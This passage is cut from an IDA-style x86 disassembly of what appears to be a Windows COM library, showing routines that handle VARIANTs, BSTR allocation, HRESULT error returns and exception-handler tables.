		push	80004005h
		call	sub_69B2E8B8


loc_69B79A9F:				; CODE XREF: sub_69B79A87+Cj
		mov	edi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		lea	ebx, [eax+edi]
		jmp	short loc_69B79AD3
; ---------------------------------------------------------------------------


loc_69B79AAA:				; CODE XREF: sub_69B79A87+4Ej
		mov	eax, [esi+30h]
		mov	ecx, [esi+4]
		push	1
		xor	edx, edx
		push	edx
		push	edx
		push	eax
		push	edx
		call	sub_69B3D2F2
		mov	ecx, [esi+8]
		lea	edx, [edi-1]
		mov	[ebp+arg_0], eax
		mov	eax, [ecx]
		push	edx
		push	[ebp+arg_0]
		call	dword ptr [eax+80h]
		inc	edi


loc_69B79AD3:				; CODE XREF: sub_69B79A87+21j
		cmp	edi, ebx
		jl	short loc_69B79AAA
		lea	ecx, [esi-0Ch]
		call	sub_69B79438
		mov	eax, [ebp+arg_4]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn	8
sub_69B79A87	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B79AE9	proc near		; CODE XREF: sub_69B77375+38p
					; sub_69B79B12+26p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		cmp	dword ptr [esi+44h], 0
		mov	[esi+30h], eax
		jz	short loc_69B79B0E
		test	eax, eax
		jnz	short loc_69B79B02
		call	sub_69B79588


loc_69B79B02:				; CODE XREF: sub_69B79AE9+12j
		mov	eax, [esi+44h]
		push	dword ptr [esi+30h]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+28h]


loc_69B79B0E:				; CODE XREF: sub_69B79AE9+Ej
		pop	esi
		retn	4
sub_69B79AE9	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B79B12	proc near		; DATA XREF: .text:69B144FCo
		push	ebx
		push	esi
		push	edi
		mov	eax, 0C00CE216h
		push	0
		mov	esi, ecx
		mov	edi, [esi+4]
		mov	ebx, [edi]
		push	eax
		push	eax
		call	sub_69B2E8CC
		add	esp, 0Ch
		push	eax
		mov	ecx, edi
		call	dword ptr [ebx+64h]
		push	1
		lea	ecx, [esi-0Ch]
		call	sub_69B79AE9
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_69B79B12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B79B41	proc near		; CODE XREF: sub_69B79D26+EFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_4]
		mov	edi, ecx
		mov	eax, [edi+1Ch]
		push	eax
		call	sub_69B790A4
		mov	esi, eax
		call	sub_69B79336
		mov	ebx, eax
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 18h
		mov	[ebp+var_4], eax
		jg	short loc_69B79B72
		call	sub_69B2E6D8


loc_69B79B72:				; CODE XREF: sub_69B79B41+2Aj
		mov	eax, [ebp+var_4]
		mov	eax, [eax+6Ch]
		mov	[ebp+var_4], eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+38h]
		cmp	eax, [ebp+var_4]
		jnz	loc_69B79C5C
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 1Dh
		mov	[ebp+arg_4], eax
		jg	short loc_69B79B9E
		call	sub_69B2E6D8


loc_69B79B9E:				; CODE XREF: sub_69B79B41+56j
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+80h]
		mov	edx, [esi]
		push	eax
		mov	ecx, esi
		call	dword ptr [edx+0A4h]
		test	eax, eax
		jz	short loc_69B79BDF
		mov	esi, [ebp+arg_8]
		mov	ecx, [ebp+arg_0]
		push	0
		mov	word ptr [esi],	8
		mov	eax, [ecx]
		push	1
		call	dword ptr [eax+4Ch]
		push	dword ptr [eax+8] ; UINT
		mov	ecx, [eax+0Ch]
		push	ecx		; OLECHAR *
		call	SysAllocStringLen
		mov	[esi+8], eax
		jmp	loc_69B79CE3
; ---------------------------------------------------------------------------


loc_69B79BDF:				; CODE XREF: sub_69B79B41+73j
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 1Ch
		mov	[ebp+arg_4], eax
		jg	short loc_69B79BF2
		call	sub_69B2E6D8


loc_69B79BF2:				; CODE XREF: sub_69B79B41+AAj
		mov	eax, [ebp+arg_4]
		mov	eax, [eax+7Ch]
		mov	edx, [esi]
		push	eax
		mov	ecx, esi
		call	dword ptr [edx+0A4h]
		test	eax, eax
		jz	short loc_69B79C35
		mov	eax, [ebx+8]
		mov	esi, [ebp+arg_0]
		mov	edx, [esi]
		push	eax
		mov	ecx, esi
		call	dword ptr [edx+0A4h]
		test	eax, eax
		jz	loc_69B79CE3
		push	[ebp+arg_8]
		mov	eax, [esi]
		push	dword ptr [ebx+8]
		mov	ecx, esi
		call	dword ptr [eax+0C8h]
		jmp	loc_69B79CE3
; ---------------------------------------------------------------------------


loc_69B79C35:				; CODE XREF: sub_69B79B41+C4j
		push	dword ptr [ebx+8]
		mov	ecx, edi
		push	[ebp+arg_0]
		call	sub_69B790D2
		test	eax, eax
		jz	loc_69B79CE3
		push	[ebp+arg_8]
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+0C0h]
		jmp	loc_69B79CE3
; ---------------------------------------------------------------------------


loc_69B79C5C:				; CODE XREF: sub_69B79B41+44j
		push	[ebp+arg_4]
		mov	ecx, edi
		push	[ebp+arg_0]
		call	sub_69B79286
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_69B79CD2
		push	50h
		call	sub_69B17EF3
		test	eax, eax
		mov	[ebp+arg_0], eax
		jz	short loc_69B79C9D
		mov	edx, [edi+18h]
		mov	ebx, [edi+20h]
		mov	ecx, [edi+10h]
		xor	eax, eax
		mov	al, [edi+4Ch]
		push	eax
		push	edi
		push	esi
		push	edx
		push	ebx
		push	ecx
		mov	ecx, [ebp+arg_0]
		call	sub_69B79659
		mov	esi, eax
		jmp	short loc_69B79C9F
; ---------------------------------------------------------------------------


loc_69B79C9D:				; CODE XREF: sub_69B79B41+13Aj
		xor	esi, esi


loc_69B79C9F:				; CODE XREF: sub_69B79B41+15Aj
		push	18h
		call	sub_69B1D897
		test	eax, eax
		jz	short loc_69B79CBC
		mov	ecx, [edi+10h]
		push	dword ptr [ecx+3Ch]
		mov	ecx, eax
		push	esi
		call	sub_69B1699C
		mov	ebx, eax
		jmp	short loc_69B79CBE
; ---------------------------------------------------------------------------


loc_69B79CBC:				; CODE XREF: sub_69B79B41+167j
		xor	ebx, ebx


loc_69B79CBE:				; CODE XREF: sub_69B79B41+179j
		push	ebx
		push	[ebp+arg_4]
		mov	ecx, edi
		push	dword ptr [esi+14h]
		call	sub_69B794F9
		mov	eax, [ebx]
		push	ebx
		call	dword ptr [eax+8]


loc_69B79CD2:				; CODE XREF: sub_69B79B41+12Cj
		mov	esi, [ebp+arg_8]
		mov	word ptr [esi],	0Dh
		mov	eax, [ebx]
		push	ebx
		call	dword ptr [eax+4]
		mov	[esi+8], ebx


loc_69B79CE3:				; CODE XREF: sub_69B79B41+99j
					; sub_69B79B41+D9j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	0Ch
sub_69B79B41	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B79CEA	proc near		; DATA XREF: .text:69B1448Co
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		test	eax, eax
		push	edi
		lea	edi, [esi+0Ch]
		jz	short loc_69B79D09
		push	ebx
		mov	ebx, eax


loc_69B79CFB:				; CODE XREF: sub_69B79CEA+1Cj
		mov	ecx, edi
		call	sub_69B79D12
		add	edi, 8
		dec	ebx
		jnz	short loc_69B79CFB
		pop	ebx


loc_69B79D09:				; CODE XREF: sub_69B79CEA+Cj
		pop	edi
		mov	ecx, esi
		pop	esi
		jmp	nullsub_5
sub_69B79CEA	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B79D12	proc near		; CODE XREF: sub_69B79CEA+13p
		push	esi
		lea	esi, [ecx+4]
		push	0
		push	esi
		call	sub_69B17320
		push	esi
		call	sub_69B17230
		pop	esi
		retn
sub_69B79D12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B79D26(int, int, int, VARIANTARG *pvarg)

sub_69B79D26	proc near		; DATA XREF: .text:69B144DCo

pvargDest	= VARIANTARG ptr -10h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
pvarg		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+pvarg]
		and	dword ptr [edi+8], 0
		cmp	[ebp+arg_0], 0
		mov	esi, ecx
		mov	word ptr [edi],	1
		jnz	loc_69B79DED
		mov	eax, [esi]
		call	dword ptr [eax+3Ch]
		mov	ecx, [ebp+arg_4]
		cmp	ecx, eax
		jg	loc_69B79E5B
		mov	eax, [esi+10h]
		dec	ecx
		push	ecx
		push	eax
		lea	ecx, [esi-0Ch]
		call	sub_69B790A4
		mov	esi, eax
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 1Ah
		mov	ebx, eax
		jg	short loc_69B79D79
		call	sub_69B2E6D8


loc_69B79D79:				; CODE XREF: sub_69B79D26+4Cj
		mov	ebx, [ebx+74h]
		mov	eax, [esi]
		push	ebx
		mov	ecx, esi
		call	dword ptr [eax+0A4h]
		test	eax, eax
		jz	loc_69B79E5B
		mov	edx, [eax]
		mov	ecx, eax
		call	dword ptr [edx+2Ch]
		mov	ebx, eax
		mov	eax, dword_69B95A84
		cmp	dword ptr [eax+8], 19h
		mov	[ebp+arg_0], eax
		jg	short loc_69B79DAB
		call	sub_69B2E6D8


loc_69B79DAB:				; CODE XREF: sub_69B79D26+7Ej
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+70h]
		mov	[ebp+arg_0], eax
		mov	eax, [esi]
		mov	ecx, esi
		call	dword ptr [eax+38h]
		cmp	eax, [ebp+arg_0]
		jnz	short loc_69B79DD9
		push	0
		call	sub_69B79137
		push	eax
		push	ebx
		call	sub_69B79137
		push	eax
		call	sub_69B2F2CA
		add	esp, 10h
		mov	ebx, eax


loc_69B79DD9:				; CODE XREF: sub_69B79D26+98j
		mov	word ptr [edi],	8
		push	dword ptr [ebx+8] ; UINT
		mov	eax, [ebx+0Ch]
		push	eax		; OLECHAR *
		call	SysAllocStringLen
		jmp	short loc_69B79E58
; ---------------------------------------------------------------------------


loc_69B79DED:				; CODE XREF: sub_69B79D26+1Bj
		push	[ebp+arg_0]
		lea	ebx, [esi-0Ch]
		mov	ecx, ebx
		call	sub_69B79458
		cmp	dword ptr [esi+14h], 0
		jnz	short loc_69B79E0A
		push	80004005h
		call	sub_69B2E8B8


loc_69B79E0A:				; CODE XREF: sub_69B79D26+D8j
		mov	eax, [ebp+arg_4]
		push	edi
		dec	eax
		push	eax
		push	dword ptr [esi+14h]
		mov	ecx, ebx
		call	sub_69B79B41
		cmp	[ebp+arg_8], 1
		jnz	short loc_69B79E5B
		cmp	word ptr [edi],	8
		jz	short loc_69B79E5B
		and	word ptr [ebp+pvargDest.anonymous_0], 0
		push	8		; vt
		push	1		; wFlags
		call	ds:GetSystemDefaultLCID	; GetSystemDefaultLCID
		push	eax		; lcid
		push	edi		; pvarSrc
		lea	eax, [ebp+pvargDest]
		push	eax		; pvargDest
		call	VariantChangeTypeEx
		test	eax, eax
		jge	short loc_69B79E49
		and	dword ptr [ebp+pvargDest.anonymous_0+8], 0


loc_69B79E49:				; CODE XREF: sub_69B79D26+11Dj
		push	edi		; pvarg
		call	VariantClear
		mov	eax, dword ptr [ebp+pvargDest.anonymous_0+8]
		mov	word ptr [edi],	8


loc_69B79E58:				; CODE XREF: sub_69B79D26+C5j
		mov	[edi+8], eax


loc_69B79E5B:				; CODE XREF: sub_69B79D26+2Bj
					; sub_69B79D26+63j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	10h
sub_69B79D26	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B79E62	proc near		; DATA XREF: .text:69B144ECo

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		lea	eax, [esi+38h]
		push	eax
		call	sub_69B17320
		mov	ecx, [esi+4]
		cmp	dword ptr [ecx+40h], 4
		jnz	short loc_69B79E95
		call	sub_69B3D6C4
		test	eax, eax
		jz	short loc_69B79E95
		cmp	dword ptr [esi+34h], 0
		jnz	short loc_69B79E95
		push	dword ptr [esi+24h]
		lea	ecx, [esi-0Ch]
		call	sub_69B79AE9


loc_69B79E95:				; CODE XREF: sub_69B79E62+17j
					; sub_69B79E62+20j ...
		pop	esi
		retn	4
sub_69B79E62	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B79E99	proc near		; DATA XREF: .text:69B169FCo
		mov	eax, 80004001h
		retn	28h
sub_69B79E99	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B79EA1	proc near		; DATA XREF: .text:off_69B169D0o

var_10		= byte ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		call	dword_69B92948
		test	eax, eax
		mov	[ebp+var_4], eax
		jnz	short loc_69B79EBB
		mov	eax, 80004005h
		jmp	short locret_69B79F2E
; ---------------------------------------------------------------------------


loc_69B79EBB:				; CODE XREF: sub_69B79EA1+11j
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		push	dword ptr [ebx+10h]
		lea	ecx, [ebp+var_10]
		push	eax
		call	sub_69B1B406
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jz	short loc_69B79F14
		and	dword ptr [eax], 0
		mov	esi, [ebp+arg_4]
		push	edi
		push	4
		pop	ecx
		mov	edi, offset stru_69B1CA6C
		xor	edx, edx
		repe cmpsd
		jz	short loc_69B79F05
		mov	esi, [ebp+arg_4]
		push	4
		pop	ecx
		mov	edi, offset dword_69B2B140
		xor	edx, edx
		repe cmpsd
		jz	short loc_69B79F05
		push	eax
		push	[ebp+arg_4]
		push	ebx
		call	sub_69B45BAF
		jmp	short loc_69B79F0F
; ---------------------------------------------------------------------------


loc_69B79F05:				; CODE XREF: sub_69B79EA1+45j
					; sub_69B79EA1+56j
		mov	[eax], ebx
		mov	eax, [ebx]
		push	ebx
		call	dword ptr [eax+4]
		xor	eax, eax


loc_69B79F0F:				; CODE XREF: sub_69B79EA1+62j
		mov	esi, eax
		pop	edi
		jmp	short loc_69B79F19
; ---------------------------------------------------------------------------


loc_69B79F14:				; CODE XREF: sub_69B79EA1+30j
		mov	esi, 80004003h


loc_69B79F19:				; CODE XREF: sub_69B79EA1+71j
		lea	ecx, [ebp+var_10]
		call	sub_69B1976C
		push	[ebp+var_4]
		call	dword_69B92944
		mov	eax, esi
		pop	esi
		pop	ebx

locret_69B79F2E:			; CODE XREF: sub_69B79EA1+18j
		leave
		retn	0Ch
sub_69B79EA1	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B79F32	proc near		; DATA XREF: .text:69B169DCo
		push	20h
		push	offset dword_69B79FD8
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B79F54
		mov	eax, 80004005h
		jmp	short loc_69B79FD0
; ---------------------------------------------------------------------------


loc_69B79F54:				; CODE XREF: sub_69B79F32+19j
		mov	esi, [ebp+8]
		push	dword ptr [esi+10h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		push	dword ptr [esi+14h]
		lea	ecx, [ebp-2Ch]
		call	sub_69B1986C
		mov	edi, [ebp+0Ch]
		cmp	edi, ebx
		jnz	short loc_69B79F7C
		mov	ebx, 80070057h
		jmp	short loc_69B79FB5
; ---------------------------------------------------------------------------


loc_69B79F7C:				; CODE XREF: sub_69B79F32+41j
		mov	[ebp-4], ebx
		mov	esi, [esi+10h]
		mov	[ebp-30h], esi
		lea	ecx, [esi+0Ch]
		mov	eax, [ecx]
		call	dword ptr [eax+38h]
		mov	[edi], eax
		jmp	short loc_69B79FB1
; ---------------------------------------------------------------------------


loc_69B79F91:				; DATA XREF: .text:69B79FDCo
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B79F9A:				; DATA XREF: .text:69B79FE0o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B79FB1:				; CODE XREF: sub_69B79F32+5Dj
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B79FB5:				; CODE XREF: sub_69B79F32+48j
		lea	ecx, [ebp-2Ch]
		call	sub_69B1948C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B79FD0:				; CODE XREF: sub_69B79F32+20j
		call	sub_69B1853C
		retn	8
sub_69B79F32	endp

; ---------------------------------------------------------------------------
dword_69B79FD8	dd 0FFFFFFFFh			dd offset loc_69B79F91
		dd offset loc_69B79F9A

; =============== S U B	R O U T	I N E =======================================



sub_69B79FE4	proc near		; DATA XREF: .text:69B169E0o
		push	20h
		push	offset dword_69B7A090
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B7A006
		mov	eax, 80004005h
		jmp	short loc_69B7A082
; ---------------------------------------------------------------------------


loc_69B7A006:				; CODE XREF: sub_69B79FE4+19j
		mov	esi, [ebp+8]
		push	dword ptr [esi+10h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		push	dword ptr [esi+14h]
		lea	ecx, [ebp-2Ch]
		call	sub_69B1986C
		mov	edi, [ebp+0Ch]
		cmp	edi, ebx
		jnz	short loc_69B7A02E
		mov	ebx, 80070057h
		jmp	short loc_69B7A067
; ---------------------------------------------------------------------------


loc_69B7A02E:				; CODE XREF: sub_69B79FE4+41j
		mov	[ebp-4], ebx
		mov	esi, [esi+10h]
		mov	[ebp-30h], esi
		lea	ecx, [esi+0Ch]
		mov	eax, [ecx]
		call	dword ptr [eax+3Ch]
		mov	[edi], eax
		jmp	short loc_69B7A063
; ---------------------------------------------------------------------------


loc_69B7A043:				; DATA XREF: .text:69B7A094o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B7A04C:				; DATA XREF: .text:69B7A098o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B7A063:				; CODE XREF: sub_69B79FE4+5Dj
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B7A067:				; CODE XREF: sub_69B79FE4+48j
		lea	ecx, [ebp-2Ch]
		call	sub_69B1948C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B7A082:				; CODE XREF: sub_69B79FE4+20j
		call	sub_69B1853C
		retn	8
sub_69B79FE4	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B7A090	dd 0FFFFFFFFh			dd offset loc_69B7A043
		dd offset loc_69B7A04C

; =============== S U B	R O U T	I N E =======================================



sub_69B7A09C	proc near		; DATA XREF: .text:69B169E4o
		push	20h
		push	offset dword_69B7A150
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B7A0C1
		mov	eax, 80004005h
		jmp	loc_69B7A143
; ---------------------------------------------------------------------------


loc_69B7A0C1:				; CODE XREF: sub_69B7A09C+19j
		mov	esi, [ebp+8]
		push	dword ptr [esi+10h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		push	dword ptr [esi+14h]
		lea	ecx, [ebp-2Ch]
		call	sub_69B1986C
		mov	edi, [ebp+14h]
		cmp	edi, ebx
		jnz	short loc_69B7A0E9
		mov	ebx, 80070057h
		jmp	short loc_69B7A128
; ---------------------------------------------------------------------------


loc_69B7A0E9:				; CODE XREF: sub_69B7A09C+44j
		mov	[ebp-4], ebx
		mov	esi, [esi+10h]
		mov	[ebp-30h], esi
		lea	ecx, [esi+0Ch]
		mov	eax, [ecx]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		call	dword ptr [eax+40h]
		mov	[edi], eax
		jmp	short loc_69B7A124
; ---------------------------------------------------------------------------


loc_69B7A104:				; DATA XREF: .text:69B7A154o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B7A10D:				; DATA XREF: .text:69B7A158o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B7A124:				; CODE XREF: sub_69B7A09C+66j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B7A128:				; CODE XREF: sub_69B7A09C+4Bj
		lea	ecx, [ebp-2Ch]
		call	sub_69B1948C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B7A143:				; CODE XREF: sub_69B7A09C+20j
		call	sub_69B1853C
		retn	10h
sub_69B7A09C	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B7A150	dd 0FFFFFFFFh			dd offset loc_69B7A104
		dd offset loc_69B7A10D

; =============== S U B	R O U T	I N E =======================================



sub_69B7A15C	proc near		; DATA XREF: .text:69B169E8o
		push	20h
		push	offset dword_69B7A210
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B7A181
		mov	eax, 80004005h
		jmp	loc_69B7A205
; ---------------------------------------------------------------------------


loc_69B7A181:				; CODE XREF: sub_69B7A15C+19j
		mov	esi, [ebp+8]
		push	dword ptr [esi+10h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		push	dword ptr [esi+14h]
		lea	ecx, [ebp-2Ch]
		call	sub_69B1986C
		cmp	[ebp+18h], edi
		jnz	short loc_69B7A1A7
		mov	edi, 80070057h
		jmp	short loc_69B7A1EA
; ---------------------------------------------------------------------------


loc_69B7A1A7:				; CODE XREF: sub_69B7A15C+42j
		mov	[ebp-4], edi
		mov	esi, [esi+10h]
		mov	[ebp-30h], esi
		lea	ecx, [esi+0Ch]
		mov	eax, [ecx]
		push	dword ptr [ebp+18h]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		call	dword ptr [eax+44h]
		jmp	short loc_69B7A1E6
; ---------------------------------------------------------------------------


loc_69B7A1C6:				; DATA XREF: .text:69B7A214o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B7A1CF:				; DATA XREF: .text:69B7A218o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	edi, eax


loc_69B7A1E6:				; CODE XREF: sub_69B7A15C+68j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B7A1EA:				; CODE XREF: sub_69B7A15C+49j
		lea	ecx, [ebp-2Ch]
		call	sub_69B1948C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, edi


loc_69B7A205:				; CODE XREF: sub_69B7A15C+20j
		call	sub_69B1853C
		retn	14h
sub_69B7A15C	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B7A210	dd 0FFFFFFFFh			dd offset loc_69B7A1C6
		dd offset loc_69B7A1CF

; =============== S U B	R O U T	I N E =======================================



sub_69B7A21C	proc near		; DATA XREF: .text:69B169ECo
		push	20h
		push	offset dword_69B7A2D0
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B7A241
		mov	eax, 80004005h
		jmp	loc_69B7A2C2
; ---------------------------------------------------------------------------


loc_69B7A241:				; CODE XREF: sub_69B7A21C+19j
		mov	esi, [ebp+8]
		push	dword ptr [esi+10h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		push	dword ptr [esi+14h]
		lea	ecx, [ebp-2Ch]
		call	sub_69B1986C
		mov	[ebp-4], ebx
		mov	esi, [esi+10h]
		mov	[ebp-30h], esi
		lea	ecx, [esi+0Ch]
		mov	eax, [ecx]
		sub	esp, 10h
		lea	esi, [ebp+18h]
		mov	edi, esp
		movsd
		movsd
		movsd
		movsd
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		call	dword ptr [eax+48h]
		jmp	short loc_69B7A2A3
; ---------------------------------------------------------------------------


loc_69B7A283:				; DATA XREF: .text:69B7A2D4o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B7A28C:				; DATA XREF: .text:69B7A2D8o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B7A2A3:				; CODE XREF: sub_69B7A21C+65j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	ecx, [ebp-2Ch]
		call	sub_69B1948C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B7A2C2:				; CODE XREF: sub_69B7A21C+20j
		call	sub_69B1853C
		retn	20h
sub_69B7A21C	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B7A2D0	dd 0FFFFFFFFh			dd offset loc_69B7A283
		dd offset loc_69B7A28C

; =============== S U B	R O U T	I N E =======================================



sub_69B7A2DC	proc near		; DATA XREF: .text:69B169F4o
		push	20h
		push	offset dword_69B7A390
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B7A301
		mov	eax, 80004005h
		jmp	loc_69B7A383
; ---------------------------------------------------------------------------


loc_69B7A301:				; CODE XREF: sub_69B7A2DC+19j
		mov	esi, [ebp+8]
		push	dword ptr [esi+10h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		push	dword ptr [esi+14h]
		lea	ecx, [ebp-2Ch]
		call	sub_69B1986C
		mov	edi, [ebp+14h]
		cmp	edi, ebx
		jnz	short loc_69B7A329
		mov	ebx, 80070057h
		jmp	short loc_69B7A368
; ---------------------------------------------------------------------------


loc_69B7A329:				; CODE XREF: sub_69B7A2DC+44j
		mov	[ebp-4], ebx
		mov	esi, [esi+10h]
		mov	[ebp-30h], esi
		lea	ecx, [esi+0Ch]
		mov	eax, [ecx]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		call	dword ptr [eax+4Ch]
		mov	[edi], eax
		jmp	short loc_69B7A364
; ---------------------------------------------------------------------------


loc_69B7A344:				; DATA XREF: .text:69B7A394o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B7A34D:				; DATA XREF: .text:69B7A398o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804
		mov	ebx, eax


loc_69B7A364:				; CODE XREF: sub_69B7A2DC+66j
		or	dword ptr [ebp-4], 0FFFFFFFFh


loc_69B7A368:				; CODE XREF: sub_69B7A2DC+4Bj
		lea	ecx, [ebp-2Ch]
		call	sub_69B1948C
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, ebx


loc_69B7A383:				; CODE XREF: sub_69B7A2DC+20j
		call	sub_69B1853C
		retn	10h
sub_69B7A2DC	endp

; ---------------------------------------------------------------------------
		align 10h
dword_69B7A390	dd 0FFFFFFFFh			dd offset loc_69B7A344
		dd offset loc_69B7A34D

; =============== S U B	R O U T	I N E =======================================



sub_69B7A39C	proc near		; DATA XREF: .text:69B169F8o
		push	20h
		push	offset dword_69B7A450
		call	sub_69B19C5C
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_69B7A3C1
		mov	eax, 80004005h
		jmp	loc_69B7A443
; ---------------------------------------------------------------------------


loc_69B7A3C1:				; CODE XREF: sub_69B7A39C+19j
		mov	esi, [ebp+8]
		push	dword ptr [esi+10h]
		push	eax
		lea	ecx, [ebp-28h]
		call	sub_69B1B406
		push	dword ptr [esi+14h]
		lea	ecx, [ebp-2Ch]
		call	sub_69B1986C
		mov	edi, [ebp+14h]
		cmp	edi, ebx
		jnz	short loc_69B7A3E9
		mov	ebx, 80070057h
		jmp	short loc_69B7A428
; ---------------------------------------------------------------------------


loc_69B7A3E9:				; CODE XREF: sub_69B7A39C+44j
		mov	[ebp-4], ebx
		mov	esi, [esi+10h]
		mov	[ebp-30h], esi
		lea	ecx, [esi+0Ch]
		mov	eax, [ecx]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
